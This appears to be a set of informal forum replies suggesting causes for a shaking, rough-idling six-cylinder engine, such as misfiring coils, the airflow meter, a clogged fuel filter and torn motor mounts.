are all your coils firing and it's running on all 6 cylinders,and you can have it running and unplug your airflow meter and see if it makes a big change if it doesn't you can check into that,is your check engine light on?

hey i was in formed that you should also check you fuel filter because it sounds like you're starving for fuel,just take it off and blow through it it right at you and easy to get to so it won't be any trouble at all

check your motor mounts they sound like there torn if its shaking your teeth out of your head at idle. and also type in english please
